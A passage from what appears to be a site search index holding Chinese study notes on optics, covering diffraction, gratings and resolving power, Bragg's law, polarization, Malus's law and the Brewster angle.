\u7684\u5f62\u5f0f\u6709\u5173\uff0c\u79f0\u4e3a\u201csinc\u201d\u51fd\u6570\u3002</p> <p>\u6697\u7eb9\u5f53 sinc \u51fd\u6570\u4e3a 0, \\( u = \\pi \\), \\( a \\sin \\theta = k \\lambda \\), \u5373 \\( \\sin \\theta = \\frac{k \\lambda}{a} \\)</p> <p>\u6b21\u7ea7\u5927\u5bbd\u5ea6\u4e3a\u4e24\u4e2a\u76f8\u90bb\u6697\u7eb9\u4e4b\u95f4\u7684\u8ddd\u79bb\uff0c\u5373\uff1a</p> \\[ \\Delta \\sin \\theta = \\frac{\\lambda}{a} \\] <p>\u5982\u679c\u95ee\u5b9e\u9645\u8ddd\u79bb\uff0c\u5219\u9700\u8981\u4e58\u4ee5 \\(D\\)(\u524d\u63d0\u662f\u89d2\u5ea6\u5f88\u5c0f)</p> <p>\u6ce2\u957f\u53d8\u5316\u5bf9\u4e8e\u884d\u5c04\u6761\u7eb9\u7684\u5f71\u54cd</p> <p>\u5047\u8bbe\u56fa\u5b9a\\(\\lambda\\)\uff0c\u53d8\u5316\\(a\\)\uff0c\u5219\u6761\u7eb9\u95f4\u8ddd\u4f1a\u53d8\u5316\u3002</p> <ul> <li> <p>\u5f53 \\(\\frac{\\lambda}{a} \\to 1\\) \u65f6\uff0c\\(\\sin \\theta_0 \\to 1\\)\uff0c\u6b64\u65f6\u5c4f\u5e55\u5df2\u65e0\u6697\u7eb9\uff1b</p> </li> <li> <p>\u5f53 \\(\\frac{\\lambda}{a} \\to \\infty\\) \u65f6\uff0c\\(\\Delta x_0 = \\infty\\)\uff0c\u6b64\u65f6\u5c4f\u5e55\u4eae\u5ea6\u5747\u5300\uff1b</p> </li> <li> <p>\u5f53 \\(\\frac{\\lambda}{a} \\to 0\\) \u65f6\uff0c\\(\\Delta x_0 \\to 0\\) \u6b64\u65f6\u884d\u5c04\u56fe\u6837\u805a\u96c6\u5728\u4e00\u8d77\uff0c\u5c4f\u5e55\u4e0a\u53ea\u663e\u51fa\u5355\u4e00\u7684\u4eae\u7ebf\u2014\u2014\u5355\u7f1d\u7684\u51e0\u4f55\u5149\u5b66\u50cf\u3002(a\u5f88\u5927\uff0c\u76f8\u5f53\u4e8e\u6ca1\u6709\u963b\u6321\uff0c\u6b63\u5e38\u7684\u51e0\u4f55\u5149\u5b66\u6210\u50cf)</p> </li> </ul> <p>\u5706\u5b54\u7684\u592b\u7405\u79be\u8d39\u884d\u5c04</p> <p>\u5b9e\u9a8c\u88c5\u7f6e\u5982\u4e0b\uff1a</p> <p> </p> <p>\u5176\u4f1a\u5f62\u6210\u4e00\u7cfb\u5217\u7684\u540c\u5fc3\u5706\u73af\uff0c\u79f0\u4e3a\u201c\u7231\u91cc\u6591\u201d\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#_25","title":"\u884d\u5c04\u53d7\u9650\u4e0e\u745e\u5229\u5224\u636e","text":"<p>\u7406\u60f3\u70b9\u5149\u6e90\u7684\u50cf\u662f\u4e00\u4e2a\u70b9\uff0c\u4f46\u5b9e\u9645\u4e0a\u7531\u4e8e\u884d\u5c04\uff0c\u50cf\u662f\u4e00\u4e2a\u7231\u91cc\u6591\u3002(\u53ef\u4ee5\u8fd1\u4f3c\u4e3a\u4e00\u4e2a\u5bbd\u5ea6\u4e3a\u900f\u955c\u9ad8\u5ea6\uff0c\u540e\u9762\u662f\u65e0\u9650\u5927\u900f\u955c\u7684\u884d\u5c04)</p> <p>\u5f88\u8fd1\u7684\u4e24\u4e2a\u7269\u70b9\u8c61\u6591\u6709\u53ef\u80fd\u91cd\u53e0\uff0c\u4ece\u800c\u5206\u8fa8\u4e0d\u6e05\u3002</p> <p>\u745e\u5229\u5224\u636e</p> <p>\u5bf9\u4e8e\u4e24\u4e2a\u7b49\u5149\u5f3a\u7684\u975e\u76f8\u5e72\u7269\u70b9,\u82e5\u5176\u4e2d\u4e00\u70b9\u7684\u8c61\u6591\u4e2d\u5fc3\u6070\u597d\u843d\u5728\u53e6\u4e00\u70b9\u7684\u8c61\u6591\u7684\u8fb9\u7f18(\u7b2c\u4e00\u6697\u7eb9\u5904),\u5219\u6b64\u4e24\u7269\u70b9\u88ab\u8ba4\u4e3a\u662f\u521a\u521a\u53ef\u4ee5\u5206\u8fa8\u3002\u6b64\u65f6\u4e24\u4e2a\u7231\u91cc\u6591\u91cd\u53e0\u90e8\u5206\u7684\u5149\u5f3a\u4e3a\u7231\u91cc\u6591\u4e2d\u5fc3\u5149\u5f3a\u768480%\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#_26","title":"\u5149\u6805\u884d\u5c04","text":"<p>\u5149\u6805</p> <p>\u5149\u6805\u2014\u5927\u91cf\u7b49\u5bbd\u7b49\u95f4\u8ddd\u7684\u5e73\u884c\u72ed\u7f1d(\u6216\u53cd\u5c04\u9762) \u6784\u6210\u7684\u5149\u5b66\u5143\u4ef6\u3002</p> <p>\u5149\u6805\u5e38\u6570\uff1a\u5468\u671f\u957f\u5ea6 \\(d = a + b\\)</p> <p> </p> <p>\u5149\u6805\u7684\u884d\u5c04\u56fe\u6837\u4e3a\u5728\u539f\u5355\u7f1d\u7684\u4e2d\u592e\u660e\u7eb9\u4e2d\uff0c\u51fa\u73b0\u6697\u7eb9\uff0c\u968f\u7740 \\(N\\) \u7684\u589e\u52a0\uff0c\u884d\u5c04\u6761\u7eb9\u7684\u4eae\u5ea6\u4f1a\u9010\u6e10\u589e\u52a0\uff0c\u4f46\u662f\u4e5f\u9010\u6e10\u53d8\u7ec6\u3002</p> <p>\u662f\u591a\u4e2a\u5355\u7f1d\u884d\u5c04\u7684\u5e72\u6d89\u7ed3\u679c\u3002</p> <p>\u76f8\u90bb\u4e24\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a</p> \\[ \\Delta \\varphi = \\frac{2\\pi d \\sin \\theta}{\\lambda} \\] <p>\u76f8\u90bb\u632f\u52a8\u7684\u632f\u5e45 \\(A_1, A_2, \\ldots, A_N\\)</p> \\[ A_2 = A_1 e^{i \\Delta \\varphi} \\] \\[ A_3 = A_1 e^{i 2 \\Delta \\varphi} \\] \\[ \\vdots \\] \\[ A_N = A_1 e^{i (N-1) \\Delta \\varphi} \\] \\[ A_p = A_1 + A_2 + \\ldots + A_N \\] \\[ = A_1 + A_1 e^{i \\Delta \\varphi} + \\ldots + A_1 e^{i (N-1) \\Delta \\varphi} \\] \\[ = A_1 \\frac{e^{iN\\Delta \\varphi/2}}{e^{i\\Delta \\varphi/2}} \\frac{\\sin(N\\Delta \\varphi/2)}{\\sin(\\Delta \\varphi/2)} \\] \\[ |A_p| = A_1 \\frac{\\sin(N\\Delta \\varphi/2)}{\\sin(\\Delta \\varphi/2)} \\] <p>\u8fd9\u91cc\u7c7b\u4f3c\u4e8e\u5355\u7f1d\u884d\u5c04\u7684\u632f\u5e45\u77e2\u91cf\u53e0\u52a0\u6cd5\uff0c\u4f46\u662f\u4e5f\u6709\u6240\u4e0d\u540c\u3002</p> <ul> <li>\u5f53 \\(\\Delta \\varphi = 2k\\pi\\) \u65f6\uff0c\u6bcf\u4e00\u4e2a\u632f\u5e45\u77e2\u91cf\u65b9\u5411\u76f8\u540c\uff0c\u6240\u4ee5 \\(A_p = NA_1\\)\uff0c\u6b64\u65f6\u4e3a\u6700\u5927\u503c\u3002</li> </ul> <p>\u5373</p> \\[ d \\sin \\theta = \\pm k \\lambda \\quad k = 0, 1, 2, \\ldots \\quad k &lt; \\frac{d}{\\lambda} \\quad  \\] <p>\u8fd9\u91cc\u7684\\(k\\)\u6709\u8303\u56f4\uff0c\u56e0\u4e3a\\(d \\sin \\theta\\) \u6700\u5927\u4e3a \\(d\\)\uff0c\u6240\u4ee5 \\(k\\) \u6700\u5927\u4e3a \\(\\frac{d}{\\lambda}\\)\u3002</p> <p>k\u4e3a\u4e3b\u6781\u5927\u7ea7\u6570\uff0ck=0\u79f0\u4e2d\u592e\u660e\u7eb9\u3002\u5149\u6805\u6781\u5927\u7684\u4f4d\u7f6e\u7531\u76f8\u90bb\u72ed\u7f1d\u95f4\u7684\u5e72\u6d89\u6781\u5927\u51b3\u5b9a</p> <ul> <li>\u5f53\\(N\\Delta \\varphi = 2k\\pi\\)\u65f6\uff0c\u6b64\u65f6\u77e2\u91cf\u53e0\u52a0\u95ed\u5408\uff0c\\(A_p = 0\\)\uff0c\u6b64\u65f6\u4e3a\u6697\u7eb9\u3002</li> </ul> \\[ N d \\sin \\theta = \\pm k' \\lambda \\quad k' = 1, 2, 3, \\ldots, N - 1 \\quad (k' \\neq kN) \\] <p>Warning</p> <p>k'\u4e0d\u80fd\u53d6N\u7684\u6574\u6570\u500d\uff0c\u56e0\u4e3a\u8fd9\u65f6\u662f\u4e3b\u6781\u5927\u7684\u4f4d\u7f6e\u3002</p> <p>\u5149\u6805\u884d\u5c04\u7684\u8c31\u7ebf\u7279\u70b9</p> <p></p> <p>1\uff09\u4e3b\u7ea7\u5927\u660e\u7eb9\u7684\u4f4d\u7f6e\u4e0e\u7f1d\u6570N\u65e0\u5173\uff0c\u5b83\u4eec\u5bf9\u79f0\u5730\u5206\u5e03\u5728\u4e2d\u592e\u660e\u7eb9\u7684\u4e24\u4fa7\uff0c\u4e2d\u592e\u660e\u7eb9\u5149\u5f3a\u6700\u5927\uff1b</p> <p>2\uff09\u5728\u76f8\u90bb\u7684\u4e24\u4e2a\u4e3b\u7ea7\u5927\u4e4b\u95f4\uff0c\u6709N\u22121\u4e2a\u6781\u5c0f\uff08\u6697\u7eb9\uff09\u548cN\u22122\u4e2a\u5149\u5f3a\u5f88\u5c0f\u7684\u6b21\u6781\u5927\uff0c\u5f53N\u5f88\u5927\u65f6\uff0c\u5b9e\u9645\u4e0a\u5728\u76f8\u90bb\u7684\u4e3b\u6781\u5927\u4e4b\u95f4\u5f62\u6210\u4e00\u7247\u6697\u533a\uff0c\u5373\u80fd\u83b7\u5f97\u53c8\u7ec6\u53c8\u4eae\u6697\u533a\u5f88\u5bbd\u7684\u5149\u6805\u884d\u5c04\u6761\u7eb9\u3002</p> <p>\u5b9a\u91cf\u5206\u6790\u5149\u6805\u884d\u5c04\u7684\u5149\u5f3a</p> \\[ I = I_0 \\left( \\frac{\\sin u}{u} \\right)^2 \\left( \\frac{\\sin N \\beta}{\\sin \\beta} \\right)^2 \\] <p>\u5176\u4e2d</p> \\[ u = \\frac{\\pi a \\sin \\theta}{\\lambda} \\] \\[ \\beta = \\frac{\\pi d \\sin \\theta}{\\lambda} \\] <p>\u5f53 \\(\\theta \\to 0\\) \u65f6\uff0c\\(I_m \\to N^2 I_0\\)\uff0c\u6240\u4ee5\u7f1d\u6570\u8d8a\u591a\uff0c\u5149\u5f3a\u8d8a\u5927\u3002</p> <p>\u534a\u89d2\u5bbd\u5ea6</p> <p></p> <p>\u5982\u679c \\(\\theta\\) \u4e0d\u5c0f\uff0c\\(\\sin \\theta \\neq \\theta\\)</p> \\[ d \\sin \\theta = m \\lambda \\] <p>\u4e0e\u5b83\u6700\u8fd1\u76840\u70b9\u4e3a(\\(Nd\\sin \\theta' = (mN + 1) \\lambda\\))</p> \\[ d \\sin (\\theta + \\Delta \\theta) = (m + \\frac{1}{N}) \\lambda \\] <p>\u6240\u4ee5\u4f7f\u7528\u62c9\u683c\u6717\u65e5\u4e2d\u503c\u5b9a\u7406\uff0c\u6709</p> \\[ d \\cos \\theta \\cdot \\Delta \\theta = \\frac{1}{N} \\lambda \\] \\[ \\Delta \\theta = \\frac{\\lambda}{N d \\cos \\theta} \\] <p>\\(\\theta\\) \u5f88\u5c0f\u65f6\uff0c\\(\\cos \\theta \\to 1\\)\uff0c\u6240\u4ee5</p> \\[ \\Delta \\theta = \\frac{\\lambda}{N d} \\] <p>\u6240\u4ee5\u7f1d\u8d8a\u591a\uff0c\u534a\u89d2\u5bbd\u5ea6\u8d8a\u5c0f\uff0c\u6761\u7eb9\u8d8a\u7ec6\u3002</p>"},{"location":"NOTE/Physics/light/#_27","title":"\u5149\u6805\u884d\u5c04\u7684\u7f3a\u6781","text":"<p>\u7f3a\u7ea7\uff1a\u7f3a\u7ea7\u662f\u6307\u5149\u6805\u4e2d\u4e0d\u540c\u5355\u7f1d\u884d\u5c04\u4e92\u76f8\u5e72\u6d89\u7684\u4e3b\u6781\u5927\u4f4d\u7f6e\u4e8e\u5355\u7f1d\u884d\u5c04\u7684\u6697\u7eb9\u4f4d\u7f6e\u91cd\u5408\uff0c\u5bfc\u81f4\u5149\u6805\u884d\u5c04\u7684\u660e\u7eb9\u6d88\u5931\u3002</p> <p>\u5373</p> \\[     d \\sin \\theta = \\pm k \\lambda  \\] \\[     a \\sin \\theta = \\pm k' \\lambda \\] <p>\u5f53 \\(\\dfrac{a}{d} = \\dfrac{k'}{k}\\) \u65f6\uff0c\u5149\u6805\u884d\u5c04\u7684\u660e\u7eb9\u6d88\u5931\u3002</p> <p>\u5982\u679c\u8bf4\u7b2c\u4e00\u4e2a\u7f3a\u7ea7\u51fa\u73b0\u5728\\(k=2\\)(\\(k'=1\\)),\u8fd9\u8bf4\u660e\\(d=2a=a+b\\)\uff0c\u5373\\(b=a\\)\u3002</p> <p></p> <p>\u56fe\u4f8b\u7ed9\u51fa\u7684\u662f\\(d=4a\\)\u7684\u60c5\u51b5\uff1b</p> <p></p> <p>\u5149\u6805\u5149\u8c31</p> <p>\u5149\u6805\u5149\u8c31\u662f\u6307\u590d\u8272\u5149\u7167\u5c04\u5149\u6805\u65f6\uff0c\u8c31\u7ebf\u6309\u6ce2\u957f\u5411\u5916\u4fa7\u4f9d\u6b21\u5206\u5f00\u6392\u5217\uff0c\u5f62\u6210\u7684\u5149\u8c31\uff1b</p> <p> </p> <p>\u53ea\u6709\u7b2c\u4e00\u7ea7\uff0c\u7b2c\u4e8c\u7ea7\u5f00\u59cb\u6709\u91cd\u53e0\u3002</p> <p>\u5149\u6805\u5149\u8c31\u7684\u5206\u8fa8\u672c\u9886</p> <p>\u5149\u6805\u7684\u5206\u8fa8\u672c\u9886\u662f\u6307\u628a\u6ce2\u957f\u9760\u5f97\u5f88\u8fd1\u7684\u4e24\u6761\u8c31\u7ebf\u5206\u8fa8\u7684\u6e05\u695a\u7684\u672c\u9886\u3002</p> <p>\u4e0e\u745e\u5229\u5224\u636e\u7c7b\u4f3c\uff0c\u5f53\u4e24\u6761\u8c31\u7ebf\u521a\u597d\u80fd\u5206\u8fa8\u65f6\uff0c\u4e00\u4e2a\u5728\u6781\u5927\uff0c\u4e00\u4e2a\u5728\u6781\u5c0f\u3002</p> <p></p> <p>\u6ce2\u957f\u4e3a \\(\\lambda + \\Delta \\lambda\\) \u7684\u7b2c \\(k\\) \u7ea7\u4e3b\u6781\u5927\u7684\u89d2\u4f4d\u7f6e\u4e3a\uff1a</p> \\[ (a + b) \\sin \\theta = k (\\lambda + \\Delta \\lambda) \\] <p>\u6ce2\u957f\u4e3a \\(\\lambda\\) \u7684\u7b2c \\(kN+1\\) \u7ea7\u6781\u5c0f\u7684\u89d2\u4f4d\u7f6e\u4e3a\uff1a</p> \\[ N (a + b) \\sin \\theta = (kN + 1) \\lambda \\] <p>\u56e0\u6b64\uff0c\u5206\u8fa8\u672c\u9886 \\(R\\) \u4e3a\uff1a</p> \\[ R = \\dfrac{\\lambda}{\\Delta \\lambda} = kN \\] <p>\u5373\u8981\u5206\u8fa8\u6e05\u695a\u7b2c\\(k\\)\u7ea7\u8c31\u7ebf\uff0c\u9700\u8981\\(N\\)\u6761\u7f1d\u3002\u8fd9\u91cc\u7684\\(\\lambda\\)\u662f\u5e73\u5747\u6ce2\u957f\uff0c\\(\\Delta \\lambda\\)\u662f\u6ce2\u957f\u504f\u79fb\u3002</p> <p>\u8272\u6563\u672c\u9886\u4e0e\u5206\u8fa8\u672c\u9886</p> <p>\u9996\u5148\uff0c\u5bf9\u4e8e\\(m\\)\u7ea7\u7684\u4e3b\u6781\u5927\uff0c\u6709</p> \\[ d \\sin \\theta = m \\lambda \\] <p>\u6240\u4ee5\u4e24\u8fb9\u540c\u65f6\u53d6\u5fae\u5206\uff0c\u6709</p> \\[ d \\cos \\theta \\cdot \\Delta \\theta = m \\cdot \\Delta \\lambda \\] <p>\u6240\u4ee5\u53ef\u4ee5\u5b9a\u4e49\u8272\u6563\u672c\u9886</p> \\[ D = \\frac{\\Delta \\theta}{\\Delta \\lambda} = \\frac{m}{d \\cos \\theta} \\] <p>\u4f7f\u7528\u745e\u5229\u5224\u636e\uff0c\u5f53\u5176\u53ef\u4ee5\u5206\u8fa8\u65f6\uff0c\u4e24\u8005\u89d2\u5ea6\u76f8\u5dee\u4e3a\u534a\u89d2\u5bbd\u5ea6\uff0c\u5373</p> \\[ \\Delta \\theta = \\frac{\\lambda}{N d \\cos \\theta}  \\] <p>\u6240\u4ee5\u6b64\u65f6\u53ef\u4ee5\u5206\u8fa8\u7684\u6781\u9650\u6ce2\u957f\u5dee\u4e3a</p> \\[ \\Delta \\lambda =  \\dfrac{\\Delta \\theta}{D} = \\frac{\\lambda}{N d \\cos \\theta} \\cdot \\frac{d \\cos \\theta}{m} = \\frac{\\lambda}{N m} \\] <p>\u6240\u4ee5\u5206\u8fa8\u672c\u9886\u5b9a\u4e49\u4e3a</p> \\[ R = \\frac{\\lambda}{\\Delta \\lambda} = Nm \\]"},{"location":"NOTE/Physics/light/#bragg","title":"Bragg \u516c\u5f0f","text":"<p>\u5e03\u62c9\u683c\u516c\u5f0f\uff1a</p> \\[ 2d \\sin \\theta = n \\lambda \\] <p>\u5176\u4e2d\\(d\\)\u662f\u6676\u683c\u5e38\u6570\uff0c\\(\\theta\\)\u662f\u5165\u5c04\u89d2\uff0c\\(n\\)\u662f\u6574\u6570\uff0c\\(\\lambda\\)\u662f\u6ce2\u957f\u3002</p> <p>\u89e3\u91ca\u4e86\u4e0d\u540c\u6676\u9762\u95f4\u53cd\u5c04\u7684\u5e72\u6d89\u589e\u5f3a\u6761\u4ef6.</p>"},{"location":"NOTE/Physics/light/#polarization","title":"\u5149\u7684\u504f\u632f(Polarization)","text":"<p>\u5728\u81ea\u7136\u5149\u4e2d\uff0c\u5149\u6ce2\u7684\u7535\u77e2\u91cf\u5728\u4efb\u610f\u65f6\u523b\u548c\u4efb\u610f\u4f4d\u7f6e\u7684\u65b9\u5411\u90fd\u662f\u968f\u673a\u7684\uff0c\u8fd9\u79cd\u5149\u79f0\u4e3a\u975e\u504f\u632f\u5149\u3002\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u5149\u6ce2\u7684\u7535\u77e2\u91cf\u5728\u67d0\u4e00\u65b9\u5411\u4e0a\u7684\u632f\u52a8\uff0c\u800c\u5728\u53e6\u4e00\u65b9\u5411\u4e0a\u7684\u632f\u52a8\u4e3a\u96f6\uff0c\u8fd9\u79cd\u5149\u79f0\u4e3a\u504f\u632f\u5149\u3002</p>"},{"location":"NOTE/Physics/light/#_28","title":"\u7ebf\u504f\u632f\u5149","text":"<p>\u81ea\u7136\u5149\u901a\u8fc7\u504f\u632f\u7247\u4e4b\u540e\uff0c\u53ea\u6709\u5728\u67d0\u4e00\u65b9\u5411\u4e0a\u7684\u7535\u77e2\u91cf\u632f\u52a8\uff0c\u8fd9\u79cd\u5149\u79f0\u4e3a\u7ebf\u504f\u632f\u5149\u3002 \u53ea\u6709\u4e0e\u504f\u632f\u7247\u7684\u7f1d\u65b9\u5411\u5782\u76f4\u7684\u7535\u77e2\u91cf\u624d\u80fd\u901a\u8fc7;\u5176\u5b83\u7684\u7535\u77e2\u91cf\u4f1a\u88ab\u5438\u6536\u3002</p> <p>\u5728\u81ea\u7136\u5149\u4e2d\uff0c\u4efb\u610f\u4e24\u4e2a\u5782\u76f4\u5206\u91cf\u7684\u632f\u5e45\u662f\u76f8\u7b49\u7684\uff0c\u5373\u53ef\u4ee5\u628a\u81ea\u7136\u5149\u5206\u89e3\u4e3a\u4efb\u610f\u4e24\u4e2a\u5782\u76f4\u65b9\u5411\u7684\u7ebf\u504f\u632f\u5149\u7684\u53e0\u52a0\uff0c\u90a3\u4e48\u7ecf\u8fc7\u504f\u632f\u7247\u540e\uff0c\u53ea\u6709\u4e0e\u504f\u632f\u7247\u5141\u8bb8(TA)\u7684\u5206\u91cf\u901a\u8fc7\uff0c\u5176\u5b83\u5206\u91cf\u88ab\u5438\u6536\u3002\u5047\u8bbe\u81ea\u7136\u5149\u7684\u7535\u77e2\u91cf\u4e3a\\(E_0\\),\u5219\u7ecf\u8fc7\u504f\u632f\u7247\u540e\u7684\u7535\u77e2\u91cf\u4e3a\\(\\dfrac{E_0}{\\sqrt{2}}\\)\u3002\u5149\u5f3a\u4e3a\\(I_0\\)\uff0c\u5219\u7ecf\u8fc7\u504f\u632f\u7247\u540e\u7684\u5149\u5f3a\u4e3a\\(\\dfrac{I_0}{2}\\)\u3002(\\(I_0 \\propto E_0^2\\))</p> <p>\u9a6c\u9686\u5b9a\u5f8b</p> <p>\u7ebf\u504f\u632f\u5149\u901a\u8fc7\u4e0e\u632f\u52a8\u65b9\u5411\u6210\\(\\theta\\)\u89d2\u7684\u504f\u632f\u7247\u540e\uff0c\u5149\u5f3a\u4e3a\\(I = I_0 \\cos^2 \\theta\\)\u3002</p> <p> </p> <p>\u6240\u4ee5\u5728\u4e0a\u56fe\u4e2d\\(I_2=I_1 \\cos^2 \\theta\\)</p> <p>\u5229\u7528\u9a6c\u9686\u5b9a\u5f8b\u63a8\u5bfc\u81ea\u7136\u5149\u901a\u8fc7\u504f\u632f\u7247\u540e\u7684\u5149\u5f3a</p> <p>\u6211\u4eec\u77e5\u9053\u81ea\u7136\u5149\u901a\u8fc7\u4efb\u610f\u65b9\u5411\u504f\u632f\u7247\u5149\u5f3a\u90fd\u53d8\u4e3a\u539f\u6765\u7684\u4e00\u534a\uff1b\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u9a6c\u9686\u5b9a\u5f8b\u6765\u63a8\u5bfc\u8fd9\u4e00\u7ed3\u8bba\u3002</p> <p>\u9996\u5148\uff0c\u5bf9\u4e8e\u81ea\u7136\u5149\uff0c\u53ef\u4ee5\u5c06\u5176\u770b\u4f5c\u65e0\u6570\u4e2a\u65b9\u5411\u4e0a\u7684\u632f\u52a8\uff0c\u5b83\u4e0e\u504f\u632f\u7247\u7684\u5939\u89d2\u4e3a\\(\\alpha\\),\\(\\alpha\\)\u6ee1\u8db3\\(0\\)\u5230\\(2\\pi\\)\u7684\u5747\u5300\u5206\u5e03\u3002</p> <p>\u6982\u7387\u5bc6\u5ea6\u4e3a\\(p=\\dfrac{1}{2\\pi}\\)\uff0c\u6240\u4ee5\u901a\u8fc7\u504f\u632f\u7247\u540e\u7684\u5149\u5f3a\u4e3a \u5bf9\u5e94\u7684\u5149\u5f3a\u4e3a\\(I = I_0 \\cos^2 \\alpha\\)\uff0c\u6240\u4ee5\u5e73\u5747\u5149\u5f3a\u4e3a</p> \\[ \\overline{I} = \\int_0^{2\\pi} \\dfrac{1}{2\\pi} I_0 \\cos^2 \\alpha d\\alpha = \\dfrac{1}{2} I_0 \\] <p>\u4f8b\u5b50</p> <p> </p> <p>\u4e00\u675f\u6cbf\\(x\\)\u65b9\u5411\u7684\u7ebf\u504f\u632f\u5149,\u7ecf\u8fc7\u4e24\u4e2a\u504f\u632f\u7247\uff0c\u7b2c\u4e00\u4e2a\u504f\u632f\u7247(TA\u65b9\u5411)\u4e0e\\(x\\)\u8f74\u6210\\(\\theta\\)\u89d2\uff0c\u7b2c\u4e8c\u4e2a\u504f\u632f\u7247\u4e0e\\(y\\)\u8f74\u5e73\u884c,\u6c42\\(\\theta\\)\u4e3a\u591a\u5c11\u65f6\uff0c\u7b2c\u4e8c\u4e2a\u504f\u632f\u7247\u7684\u900f\u5c04\u5149\u5f3a\u6700\u5927\u3002</p> \\[     I_2 = I_1 \\cos^2 \\theta \\cos^2(90^\\circ - \\theta) = I_1 \\cos^2 \\theta \\sin^2 \\theta \\] <p>\u57fa\u672c\u4e0d\u7b49\u5f0f\u53ef\u77e5\uff0c\u5f53\\(\\theta = 45^\\circ\\)\u65f6\uff0c\u900f\u5c04\u5149\u5f3a\u6700\u5927\u3002</p>"},{"location":"NOTE/Physics/light/#_29","title":"\u5e38\u89c1\u504f\u632f\u6001","text":"<p>\u7ebf\u504f\u632f\u5149 \u5bf9\u4e8e\u4e24\u675f\u7b49\u5f3a\u6b63\u4ea4\u7ebf\u504f\u632f\u5149\uff0c\u5982\u679c\u5176\u76f8\u4f4d\u5dee\u4e3a\\(k \\pi\\)\uff0c\u5219\u540c\u65f6\u53d8\u5927\uff0c\u540c\u65f6\u53d8\u5c0f\uff0c\u5408\u6210\u7684\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p> <p>\u5706\u504f\u632f\u5149</p> RCP LCP <p>\u5982\u679c\u4e24\u675f\u7b49\u5f3a\u6b63\u4ea4\u7ebf\u504f\u632f\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a\\(\\dfrac{\\pi}{2}+k \\pi\\)\uff0c\u5219\u5176\u4e2d\u4e00\u675f\u5149\u6700\u5927\u65f6\uff0c\u53e6\u4e00\u675f\u5149\u6700\u5c0f\uff0c\u5468\u671f\u6027\u632f\u52a8\uff0c\u5408\u6210\u7684\u4e3a\u5706\u504f\u632f\u5149\u3002</p> <p>\u7531\u5148\u5230\u8fbe\u6700\u5927\u7684\u5411\u540e\u5230\u8fbe\u6700\u5927\u7684\u65cb\u8f6c.</p> <p>\u692d\u5706\u504f\u632f\u5149</p> <p>\u5f53\u4e24\u675f\u7ebf\u504f\u632f\u5149\u4e0d\u7b49\u5f3a\uff0c\u6216\u8005\u76f8\u4f4d\u5dee\u4e0d\u662f\\(k \\dfrac{\\pi}{2}\\)\u65f6\uff0c\u5408\u6210\u7684\u5149\u4e3a\u692d\u5706\u504f\u632f\u5149\u3002</p> \u504f\u632f\u5149\u5206\u7c7b <p>\u65e0\u504f\u632f\u5149</p> <p>\u5373\u6700\u5e38\u89c1\u7684\u81ea\u7136\u5149\uff0c\u53ef\u4ee5\u5411\u4efb\u610f\u65b9\u5411\u632f\u52a8\uff0c\u6ca1\u6709\u56fa\u5b9a\u7684\u632f\u52a8\u65b9\u5411\u3002\u81ea\u7136\u5149\u53ef\u4ee5\u770b\u4f5c\u662f\u7531\u4e24\u4e2a\u632f\u52a8\u65b9\u5411\u5782\u76f4\u3001\u76f8\u4e92\u95f4\u6ca1\u6709\u56fa\u5b9a\u76f8\u4f4d\u5dee\u3001\u7b49\u632f\u5e45\u7684\u7ebf\u504f\u632f\u5149\uff08\u975e\u76f8\u5e72\u5149\uff09\u7ec4\u5408\u800c\u6210\u7684\u3002</p> <p>\u65e0\u504f\u632f\u5149\u4e0e\u5706\u504f\u632f\u5149\u7684\u533a\u522b\u5728\u4e8e\uff0c\u4f20\u64ad\u7684\u65f6\u5019\uff0c\u65e0\u504f\u632f\u5149\u7684\u632f\u52a8\u65b9\u5411\u662f\u968f\u673a\u53d8\u5316\u7684\uff0c\u800c\u5706\u504f\u632f\u5149\u7684\u77e2\u91cf\u8f68\u8ff9\u662f\u4e00\u4e2a\u5706;</p> <p>\u90e8\u5206\u504f\u632f\u5149</p> <p>\u6309\u6bd4\u4f8b\u7684\u542b\u6709\u81ea\u7136\u5149\u548c\u504f\u632f\u5149\u7684\u5149\u3002\u632f\u52a8\u65b9\u5411\u662f\u968f\u673a\u53d8\u5316\u7684\uff0c\u5728\u5176\u4e2d\u4e00\u4e2a\u65b9\u5411\u4e0a\u7684\u632f\u52a8\u662f\u6700\u5f3a\u7684;</p> <p> \u90e8\u5206\u504f\u632f\u5149\u53ef\u5206\u89e3\u4e3a\u4e24\u675f\u632f\u52a8\u65b9\u5411\u76f8\u4e92\u5782\u76f4\u7684\u3001\u4e0d\u7b49\u5e45\u7684\u3001\u4e0d\u76f8\u5e72\u7684\u7ebf\u504f\u632f\u5149\u3002</p> <p>\u90e8\u5206\u504f\u632f\u5149\u4e0e\u692d\u5706\u504f\u632f\u5149\u7684\u533a\u522b\u5728\u4e8e\uff0c\u90e8\u5206\u504f\u632f\u5149\u7684\u632f\u52a8\u65b9\u5411\u662f\u968f\u673a\u53d8\u5316\u7684\uff0c\u800c\u692d\u5706\u504f\u632f\u5149\u7684\u77e2\u91cf\u8f68\u8ff9\u662f\u4e00\u4e2a\u692d\u5706\u3002</p> <p>\u504f\u632f\u5ea6</p> \\[ P = \\frac{I_{max} - I_{min}}{I_{max} + I_{min}} \\] <p>\u5176\u4e2d\\(I_{max}\\)\u662f\u5f3a\u5ea6\u6700\u5927\u65b9\u5411\u6700\u5927\u5149\u5f3a\uff0c\\(I_{min}\\)\u662f\u5f3a\u5ea6\u6700\u5c0f\u65b9\u5411\u5149\u5f3a,\u76f8\u51cf\u5373\u4e3a\u504f\u632f\u5149\u7684\u5149\u5f3a\uff0c\u76f8\u52a0\u5373\u4e3a\u603b\u5149\u5f3a\u3002</p> <p>\u5bf9\u4e8e\u7ebf\u504f\u632f\u5149\uff0c\\(I_{min}=0\\),\u504f\u632f\u5ea6\u4e3a1\uff1b\u5bf9\u4e8e\u81ea\u7136\u5149\uff0c\\(I_{max}=I_{min}\\),\u504f\u632f\u5ea6\u4e3a0\u3002</p>"},{"location":"NOTE/Physics/light/#brewster","title":"Brewster \u89d2","text":"<p>\u5f53\u81ea\u7136\u5149\u4ee5\u67d0\u4e00\u89d2\u5ea6\u5165\u5c04\u65f6(\u53cd\u5c04\u89d2\u4e0e\u6298\u5c04\u89d2\u4e4b\u548c\u4e3a90\u5ea6),\u53cd\u5c04\u5149\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p> 